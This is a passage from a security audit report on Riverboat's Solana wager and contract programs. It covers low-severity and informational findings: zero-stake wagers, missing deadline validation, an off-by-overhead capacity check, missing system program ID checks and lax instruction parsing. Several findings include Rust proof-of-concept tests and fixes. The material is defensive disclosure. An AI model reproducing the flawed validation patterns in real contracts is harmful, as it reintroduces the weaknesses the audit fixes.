`MakeWagerData::valid_stake` allows `stake == 0` in addition to `stake >= 10_000`. Stakes strictly between **1 and 9_999** lamports are rejected. The **10_000** threshold aligns with `protocol::engine::calc_risk`, which uses `scale = stake / 10_000`. For `stake == 0`, `calc_risk` returns `(0, 0)` risk allocation, so provisional payouts and final `compute_payout` paths operate on **zero** monetary risk. `process_deposit` requires `amount == wager.stake`, so participants **deposit zero** lamports into the vault when the wager's stake is zero.

Impact

i) **Protocol economics**: Wagers can complete the full lifecycle (deposit -> predict -> lock -> resolve -> claim) with **no lamports escrowed for stake**, so there is **no meaningful economic downside** between parties beyond **account rent** and transaction fees.
ii) **Expectation / invariant**: If the product or integrations assume **every wager locks a positive stake**, that invariant is **false** on-chain; UIs, indexers, or fee logic that do not filter `stake == 0` may **misrepresent** activity or undercharge.

Proof of Concept

1. Call `make_wager` with `stake: 0` and valid `MakeWagerData` (other fields valid). Observe success.
2. `process_deposit` with `amount: 0` for each seat; both seats reach `Staked`.
3. Complete predictions, lock, consensus resolution, `claim_payout`: computed payout amounts are **0**; vault balance remains **rent-only** (no stake accumulated).

Recommendation

i) **If positive stake is required**: change validation to `stake >= 10_000` only (remove `stake == 0`), and add a **unit test** that `stake == 0` fails at `make_wager`.

Team Response

Acknowledged. The Riverboat team confirmed zero-stake wagers are an intended feature, but acknowledged the current flow is not fully handled. The planned recovery direction is to special-case zero-stake seats and skip monetary payout behavior cleanly.

[L-08] Missing validation of `lock_by` at wager creation allows instantly expired wagers

In `wager_program/src/processor.rs`, `make_wager` stores `dto.lock_by` directly into wager state without validating that it is in the future relative to `Clock::get()?.unix_timestamp`.

As a result, a wager can be created with `lock_by <= current_time`. The wager account and vault are initialized successfully, but subsequent lifecycle instructions enforce the deadline and immediately reject interaction once `current_time >= lock_by`.

Affected pre-deadline-gated instructions include:

i) `take_seat`
ii) `process_deposit`
iii) `set_prediction_data`
iv) `lock_seat`

This creates an internally inconsistent state where wager creation succeeds but participation is impossible from inception.

Impact

i) Newly created wager instances can become unusable immediately.
ii) Users may waste transaction fees creating dead-on-arrival wagers.

Proof of Concept

1. Call `make_wager` with:
   i) valid stake/currency/other fields
   ii) `lock_by = current_unix_timestamp - 1` (or equal to current time)
2. Observe wager creation succeeds.
3. Immediately call `take_seat` (or `process_deposit` / `set_prediction_data` / `lock_seat`).
4. Call reverts due to deadline check (`current_time >= wager.lock_by`).

Result: the wager is non-participatory from the moment it is created.

Recommendation

Validate `lock_by` during `make_wager` before persisting state:

i) Require `dto.lock_by > Clock::get()?.unix_timestamp`.

Team Response

Fixed and Validated. The Riverboat team added timestamp validation during wager creation so `lock_by` must be in the future. This prevents dead-on-arrival wagers from being initialized.

[L-09] `append_terms` capacity check overestimates plaintext room by `Content::OVERHEAD`, causing boundary-sized appends to fail at serialization

In `contract_program`, the Terms account is allocated in `write_contract` as:

i) `Terms::CORE_ALLOCATION + Content::OVERHEAD + terms_size`

So `terms_size` is effectively the intended plaintext capacity.

However, in `append_terms`, the capacity check computes:

i) `allocated = terms_account.data_len() - Terms::CORE_ALLOCATION`

This value still includes `Content::OVERHEAD` (enum tag + string length prefix), so the guard allows up to `terms_size + 5` bytes of plaintext instead of `terms_size`.

Result: boundary appends can pass the explicit `if current_len + incoming_len > allocated` check, then fail later when serializing `Terms` back into the account (Borsh IO error due to insufficient account data length).

Impact

i) Causes unexpected user-visible transaction failures for legitimate `append_terms` calls near boundary conditions.

Proof of Concept

The boundary test creates a contract with `terms_size = 10`. A 10-byte append succeeds, a 15-byte append enters the overflow region caused by the missing `Content::OVERHEAD` subtraction, and a 16-byte append is rejected by the explicit bounds check.

```
#[test]
fn poc_append_terms_bounds_check_allows_content_overflow_region() {
    let mut svm = LiteSVM::new();
    let program_id = CONTRACT_PROGRAM_ID;
    svm.add_program_from_file(program_id, "../target/deploy/contract_program.so")
        .unwrap();

    let payer = Keypair::new();
    svm.airdrop(&payer.pubkey(), 1_000_000_000).unwrap();

    let headline = "Bounds PoC".to_string();
    let headline_hash = hash(headline.as_bytes()).to_bytes();
    let (contract_pda, _) = Address::find_program_address(
        &[b"contract", payer.pubkey().as_ref(), &headline_hash[..]],
        &program_id,
    );
    let (terms_pda, _) =
        Address::find_program_address(&[b"terms", contract_pda.as_ref()], &program_id);

    let write_ix = write_contract_ix(&payer, contract_pda, terms_pda, headline, 10);
    assert!(send(&mut svm, write_ix, &payer));

    let max_body_ix = append_terms_ix(&payer, contract_pda, terms_pda, vec![b'a'; 10], true);
    assert!(send(&mut svm, max_body_ix, &payer));

    let off_by_five_ix =
        append_terms_ix(&payer, contract_pda, terms_pda, vec![b'b'; 15], true);
    let err = send_result(&mut svm, off_by_five_ix, &payer).unwrap_err();
    assert!(!format!("{:?}", err.err).contains("AccountDataTooSmall"));

    let terms_account = svm.get_account(&terms_pda).unwrap();
    let terms = Terms::deserialize(&mut &terms_account.data[..]).unwrap();
    assert_eq!(terms.content.as_bytes().len(), 10);

    let explicit_bounds_ix =
        append_terms_ix(&payer, contract_pda, terms_pda, vec![b'c'; 16], true);
    let err = send_result(&mut svm, explicit_bounds_ix, &payer).unwrap_err();
    assert!(format!("{:?}", err.err).contains("AccountDataTooSmall"));
}
```

Run the boundary-mismatch PoC test from the repository root:

```
cargo test -p contract_program --test test_append test_append_terms_boundary_mismatch_poc
```

Recommendation

Update the `append_terms` bound calculation to exclude content header bytes from writable plaintext capacity:

i) Current logical capacity: `data_len - Terms::CORE_ALLOCATION`
ii) Correct plaintext capacity: `data_len - Terms::CORE_ALLOCATION - Content::OVERHEAD`

Team Response

Fixed and Validated. The Riverboat team corrected the `append_terms` capacity accounting so the Borsh `Content` overhead is excluded from writable plaintext capacity. Boundary-sized appends now fail at the explicit bounds check rather than during serialization.

[L-10] `write_contract` accepts `resolves_by` timestamps in the past

In `contract_program/src/processor.rs`, `write_contract` stores `dto.resolves_by` directly into contract state without checking that it is greater than current on-chain time.

```
resolves_by: dto.resolves_by,
```

Because there is no validation like `dto.resolves_by > Clock::get()?.unix_timestamp`, contracts can be created already expired at creation time.

Impact

i) Allows creation of logically invalid contracts (deadline already passed).
ii) Can break or confuse downstream flows that rely on `resolves_by` for lifecycle gating.

Proof of Concept

The PoC sets the LiteSVM clock, then creates a contract whose `resolves_by` is already in the past. On the vulnerable snapshot, `write_contract` still succeeds and stores the stale timestamp.

```
#[test]
fn test_write_contract_allows_past_resolves_by() {
    let mut svm = LiteSVM::new();
    let program_id = CONTRACT_PROGRAM_ID;
```

```
    svm.add_program_from_file(program_id, "../target/deploy/contract_program.so")
        .unwrap();

    let mut clock = Clock::default();
    clock.unix_timestamp = 1_700_000_000;
    svm.set_sysvar(&clock);

    let payer = Keypair::new();
    svm.airdrop(&payer.pubkey(), 1_000_000_000).unwrap();

    let headline = "Expired contract PoC".to_string();
    let headline_hash = hash(headline.as_bytes()).to_bytes();
    let (contract_pda, _) = Address::find_program_address(
        &[b"contract", payer.pubkey().as_ref(), &headline_hash[..]],
        &program_id,
    );

    let dto = WriteContractData {
        resolution_authority: Some(payer.pubkey()),
        resolves_by: clock.unix_timestamp - 1,
        private: false,
        category: [0u8; 8],
        hashtag: [0u8; 16],
        outcomes: OutcomeType::Binary,
        headline: Content::Plaintext(headline),
        terms_size: 0,
    };

    let ix = Instruction::new_with_bytes(
        program_id,
        &to_vec(&ContractInstruction::WriteContract { dto }).unwrap(),
        vec![
            AccountMeta::new(payer.pubkey(), true),
            AccountMeta::new_readonly(system_program::id(), false),
            AccountMeta::new(contract_pda, false),
        ],
    );
    assert!(send(&mut svm, ix, &payer));

    let account = svm.get_account(&contract_pda).unwrap();
    let contract = Contract::deserialize(&mut &account.data[..]).unwrap();
    assert_eq!(contract.resolves_by, clock.unix_timestamp - 1);
}
```

Run the past-`resolves_by` PoC test from the repository root:

```
cargo test -p contract_program test_write_contract_allows_past_resolves_by
```

Recommendation

Add a validation in `write_contract` before storing the contract:

```
let clock = Clock::get()?;
if dto.resolves_by <= clock.unix_timestamp {
    return Err(ProgramError::InvalidArgument);
}
```

Team Response

Fixed and Validated. The Riverboat team added validation for `resolves_by` during contract creation so contracts cannot be initialized with a resolution timestamp already in the past.

[L-11] Missing System Program Identity Validation in `write_contract`, `make_wager`, and `take_seat`

`write_contract` (`contract_program/src/processor.rs`), `make_wager`, and `take_seat` (`wager_program/src/processor.rs`) all accept a `system_program` account as input but never assert `*system_program.key == system_program::ID` before passing the account to a CPI. This is inconsistent with `process_deposit` and the payout handler in the same codebase, both of which explicitly enforce the identity check before invoking the system program.

Affected locations:

i) `contract_program/src/processor.rs -> write_contract`
ii) `wager_program/src/processor.rs -> make_wager`
iii) `wager_program/src/processor.rs -> take_seat`

Impact

In practice, passing a fake system program account would cause the downstream CPI to fail at the Solana runtime level. A malformed or malicious call is allowed to go deeper into the function before being rejected, and future changes to CPI construction could accidentally introduce a real exploit.

Recommendation

Add the identity check at the top of each affected function, consistent with how `process_deposit` already handles it. Apply to `write_contract`, `make_wager`, and `take_seat` to make the validation uniform across all system program consumers.

```
if *system_program.key != system_program::ID {
    return Err(ProgramError::InvalidArgument);
}
```

Team Response

Fixed and Validated. The Riverboat team added explicit system program identity checks to the affected account-creation paths, making system program validation consistent across the codebase.

Informational Severity

[I-01] `last_change_at` is never updated on prediction write

`Seat.last_change_at` is initialized in `take_seat` when the seat is created, but it is not updated in `set_prediction_data` when `prediction_data` is overwritten.

Current write path:

i) `seat.prediction_data = dto.prediction.clone();`
ii) `seat.serialize(...)`

Because `last_change_at` is not refreshed there, the field remains stuck at the original reservation timestamp rather than reflecting the latest prediction update time.

Impact

Any logic or consumer that depends on "last prediction change time" will read stale data.

Recommendation

Before serializing in `set_prediction_data`, set:

```
seat.last_change_at = clock.unix_timestamp;
```

Then serialize the updated `Seat`, ensuring `last_change_at` always tracks the latest prediction write.

Team Response

Fixed and Validated. The Riverboat team updated seat mutation paths so `last_change_at` is refreshed when seat state changes. This makes the field useful for later indexing and lifecycle logic.

[I-02] `LockSeat` instruction accepts trailing bytes in `instruction_data`

`WagerInstruction::unpack` splits Solana instruction data with `split_first()`, using the leading byte as a manual discriminant (`0`–`6`) and `rest` as the payload. For variant `4` (`LockSeat`), the implementation returns `Ok(Self::LockSeat)` without validating that `rest` is empty:

All other variants deserialize `rest` with Borsh's `try_from_slice`, which requires the buffer to be fully consumed; extra bytes after a valid value cause deserialization to fail. `LockSeat` is therefore **strictness-inconsistent**: multiple distinct `instruction_data` blobs (e.g. `[4]` vs `[4]` plus arbitrary suffix bytes) deserialize to the same instruction and proceed to the same handler.

Impact

Inconsistent parsing can mislead off-chain systems and introduces future maintenance/versioning risk due to non-strict payload validation.

Recommendation

Add the below check to fix the issue:

```
4 => {
    if !rest.is_empty() {
        return Err(ProgramError::InvalidInstructionData);
    }
    Ok(Self::LockSeat)
}
```

Team Response

Fixed and Validated. The Riverboat team changed `LockSeat` to deserialize a `SeatLockData` DTO with `try_from_slice`, which restores strict payload parsing and rejects trailing bytes.

[I-03] Generic `ProgramError` variants used for distinct protocol failures

The protocol defines `ProtocolError` with custom variants for account status, lock expiry, unsettled wagers, already-settled wagers, and already-paid seats, but does not use them consistently. The majority of business-rule failures fall back to two generic built-in codes:

i) `ProgramError::InvalidAccountData` is returned for: wrong seat authority, wager-contract mismatch, lock deadline passed, seat not in expected status, and contract not finalized, all distinct failure causes.
ii) `ProgramError::InvalidArgument` is returned for: wrong PDA, invalid prediction value, wrong enum variant, wrong vault address, and invalid stake.

Impact

No on-chain security impact. From a debugging and integration standpoint, an RPC client or explorer that sees `InvalidAccountData` cannot determine whether a transaction failed because the signer was wrong, the deadline passed, or the account state was unexpected; they all look identical. This slows incident triage, complicates client-side error handling, and makes tests harder to assert precisely.

Recommendation

Replace generic errors on business-rule guards with named `ProtocolError` variants. Extend `protocol/src/error.rs` with specific codes:

```
pub enum ProtocolError {
    // existing
    InvalidAccountStatus,
    LockPeriodExpired,
    WagerNotSettled,
    WagerAlreadySettled,
    AlreadyPaid,
    // add
    SignerNotAuthority,
    WagerContractMismatch,
    SeatWagerMismatch,
```

```
    WrongPda,
    ContractNotFinalized,
    ContractAlreadyResolved,
    InvalidPredictionValue,
    PredictionTypeMismatch,
}
```

Team Response

Acknowledged. The Riverboat team acknowledged the value of clearer custom protocol errors, especially for testing and future maintainability, but treated it as a lower-priority diagnostics improvement rather than a security fix.